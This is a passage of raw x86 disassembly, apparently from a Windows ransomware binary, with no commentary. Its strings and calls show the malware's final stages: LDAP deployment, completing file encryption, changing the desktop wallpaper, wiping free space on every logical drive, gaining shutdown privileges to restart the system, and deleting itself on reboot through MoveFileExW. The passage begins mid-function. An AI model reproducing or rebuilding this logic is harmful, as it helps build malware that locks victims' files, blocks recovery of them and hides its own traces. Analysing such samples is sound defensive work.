mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x4116ee
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4116e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41293f
push ecx
push edx
call fcn.0042980f
add esp, 8
lea edx, [esp + 0xb8]
mov dword [esp + 0x40], 0
lea ecx, [esp + 0x5f]
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
call fcn.0040fdb0
jmp 0x4117fc
push str.Skipping_LDAP_deployment
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x4117b1
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x4117e7
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4117dd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412944
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp byte [esp + 0xd1], 0
jne 0x41180d
mov byte [0x462c09], 1
push 0x34
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Waiting_for_directory_processing_threads_to_complete
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x4118c4
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x4118fa
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4118f0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412949
push ecx
push edx
call fcn.0042980f
add esp, 8
mov esi, dword [esp + 0x84]
mov edi, dword [esp + 0x88]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp esi, edi
je 0x411958
cmp dword [esi + 4], 0
je 0x411951
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [esi + 4], eax
je 0x41295a
push 0
push dword [esi + 4]
push dword [esi]
call fcn.00427f82
add esp, 0xc
test eax, eax
jne 0x412953
mov dword [esi], eax
mov dword [esi + 4], eax
add esi, 8
cmp esi, edi
jne 0x411921
mov eax, dword [0x462cfc]
test eax, eax
jle 0x41196f
push 0xffffffffffffffff
push dword [0x462d00]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x462d00]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x1c
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Encryption_process_completed
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x411a32
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x411a68
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411a5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41294e
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x40], 0
mov al, 1
mov dword [esp + 0x44], 0xf
mov ecx, 0x462c0a
mov byte [esp + 0x30], 0
xchg byte [ecx], al
cmp byte [esp + 0xec], 0
je 0x411c91
cmp byte [esp + 0xf], 0
lea ecx, [esp + 0x30]
xorps xmm0, xmm0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
movaps xmmword [esp + 0x30], xmm0
jne 0x411bab
push 0x1a
push str.Changing_desktop_wallpaper
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x411b56
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x411b8c
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411b82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412961
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
call fcn.00402160
jmp 0x411c91
push 0x34
push str.Skipping_desktop_wallpaper_change_due_to___path_flag
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x411c46
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x411c7c
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411c72
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412966
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp byte [esp + 0xef], 0
je 0x412109
push 0x18
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Starting_free_space_wipe
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x411d56
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x411d8c
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411d82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41296b
push ecx
push edx
call fcn.0042980f
add esp, 8
push 0x208
lea eax, [esp + 0x1a4]
mov dword [esp + 0x44], 0
push 0
push eax
mov dword [esp + 0x50], 0xf
mov byte [esp + 0x3c], 0
call fcn.0042b650
add esp, 0xc
lea eax, [esp + 0x1a0]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x412007
mov ax, word [esp + 0x1a0]
lea esi, [esp + 0x1a0]
test ax, ax
je 0x412007
mov edi, dword [esp + 0x60]
movsx ecx, al
mov edx, 0xf
movzx eax, cl
xorps xmm0, xmm0
shl cx, 8
or cx, ax
movaps xmmword [esp + 0x30], xmm0
push 1
cmp edx, edx
mov byte [esp + 0x34], cl
mov byte [esp + 0x35], 0
lea eax, [esp + 0x34]
cmova eax, dword [esp + 0x34]
push eax
push 0x1c
push str.Wiping_free_space_on_drive:
push ecx
push edi
lea ecx, [esp + 0x28]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x58], 1
call fcn.00409ec0
cmp byte [0x462c0b], 0
je 0x411ecd
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x34], 0xf
lea edx, [esp + 0x20]
push dword [esp + 0x30]
cmova edx, dword [esp + 0x24]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x411f03
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411ef9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128ea
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, esi
mov dword [esp + 0x20], 0
xorps xmm0, xmm0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
movaps xmmword [esp + 0x10], xmm0
mov dword [esp + 0x20], 0
lea edx, [ecx + 2]
mov dword [esp + 0x24], 0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x411f35
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [esp + 0x18]
call fcn.004028e0
lea ecx, [esp + 0x10]
call fcn.00421660
mov ecx, dword [esp + 0x24]
cmp ecx, 7
jbe 0x411f94
mov edx, dword [esp + 0x10]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x411f8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128ea
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, esi
mov dword [esp + 0x20], 0
xor eax, eax
mov dword [esp + 0x24], 7
mov word [esp + 0x10], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x411fb0
sub ecx, edx
sar ecx, 1
lea esi, [esi + ecx*2]
mov ecx, dword [esp + 0x44]
add esi, 2
cmp ecx, 0xf
jbe 0x411ffb
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411ff1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128ea
push ecx
push edx
call fcn.0042980f
add esp, 8
movzx eax, word [esi]
test ax, ax
jne 0x411def
push 0x19
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Free_space_wipe_completed
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x4120be
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x4120f4
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4120ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412970
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp byte [esp + 0xee], 0
je 0x4126b1
push 0x19
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Attempting_system_restart
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x4121ce
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x412204
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4121fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412975
push ecx
push edx
call fcn.0042980f
add esp, 8
cmp byte [esp + 0xed], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
mov byte [esp + 0xe], 0
je 0x4123e0
push 0x20
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Scheduling_self_delete_on_reboot
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x4122e3
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x412319
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41230f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41297a
push ecx
push edx
call fcn.0042980f
add esp, 8
lea eax, [esp + 0x58]
mov dword [esp + 0x40], 0
push eax
push 0x28
mov dword [esp + 0x4c], 0xf
mov byte [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4123d9
lea eax, [esp + 0x34]
push eax
push 0x457028
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x10
lea eax, [esp + 0x3c]
mov dword [esp + 0x3c], 1
push eax
push 0
push dword [esp + 0x6c]
mov dword [esp + 0x54], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [esp + 0x58]
test eax, eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
jne 0x412396
call eax
xor eax, eax
jmp 0x4123d9
call eax
mov ecx, 0x20a
lea eax, [esp + 0x1a0]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4123a4
push 0x104
lea eax, [esp + 0x1a4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4123d9
push 4
push 0
lea eax, [esp + 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
setne byte [esp + 0xe]
call fcn.00421d00
mov dword [esp + 0x20], 0
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
lea ecx, [esp + 0x10]
movaps xmmword [esp + 0x10], xmm0
test al, al
je 0x41255d
push 0x18
push str.System_restart_initiated
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x4124a4
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x34], 0xf
lea edx, [esp + 0x20]
push dword [esp + 0x30]
cmova edx, dword [esp + 0x24]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x4124da
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4124d0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41297f
push ecx
push edx
call fcn.0042980f
add esp, 8
cmp byte [esp + 0xed], 0
je 0x4127b1
cmp byte [esp + 0xe], 0
jne 0x4127b1
push 0x20
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Performing_immediate_self_delete
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00409b20
lea ecx, [esp + 0x10]
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x4127ac
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4127a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412984
jmp 0x4127a2
push 0x15
push str.System_restart_failed
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x4125f8
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x34], 0xf
lea edx, [esp + 0x20]
push dword [esp + 0x30]
cmova edx, dword [esp + 0x24]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41262e
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x412624
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412989
push ecx
push edx
call fcn.0042980f
add esp, 8
cmp byte [esp + 0xed], 0
je 0x4127b1
cmp byte [esp + 0xe], 0
jne 0x4127b1
push 0x20
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Performing_immediate_self_delete
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00409b20
lea ecx, [esp + 0x10]
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x4127ac
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4127a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41298e
jmp 0x4127a2
cmp byte [esp + 0xed], 0
je 0x4127b1
push 0x16
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Performing_self_delete
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x412776
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x34], 0xf
lea edx, [esp + 0x20]
push dword [esp + 0x30]
cmova edx, dword [esp + 0x24]
mov ecx, eax
call fcn.00414890
add esp, 0x14
push eax
call fcn.00414220
add esp, 4
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x4127ac
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4127a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412993
push ecx
push edx
call fcn.0042980f
add esp, 8
call fcn.0041dcc0
lea ecx, [esp + 0x180]
xor esi, esi
call fcn.00406d60
lea ecx, [esp + 0x160]
call fcn.00406d60
lea ecx, [esp + 0x140]
call fcn.00406d60
mov edx, dword [esp + 0x84]
test edx, edx
je 0x412849
mov ecx, dword [esp + 0x88]
mov eax, edx
cmp eax, ecx
je 0x412800
nop
cmp dword [eax + 4], esi
jne 0x41299d
add eax, 8
cmp eax, ecx
jne 0x4127f0
mov ecx, dword [esp + 0x8c]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffff8
cmp ecx, 0x1000
jb 0x41282a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412998
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x84], esi
mov dword [esp + 0x88], esi
mov dword [esp + 0x8c], esi
mov ecx, dword [esp + 0xa4]
cmp ecx, 7
jbe 0x41288b
mov edx, dword [esp + 0x90]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x412881
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412998
push ecx
push edx
call fcn.0042980f
add esp, 8
xor eax, eax
mov dword [esp + 0xa0], 0
lea ecx, [esp + 0xb8]
mov dword [esp + 0xa4], 7
mov word [esp + 0x90], ax
call fcn.0040fb90
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x4d4]
xor ecx, esp
call fcn.004297d1
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [esp + 0x4dc]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.004297d1
mov esp, ebp
pop ebp
ret 0x10
call fcn.0042e68f
call fcn.0042e68f
call fcn.00402150
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
push 2
call fcn.00427dd1
push 5
call fcn.00427dd1
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042e68f
call fcn.0042f5e5
int3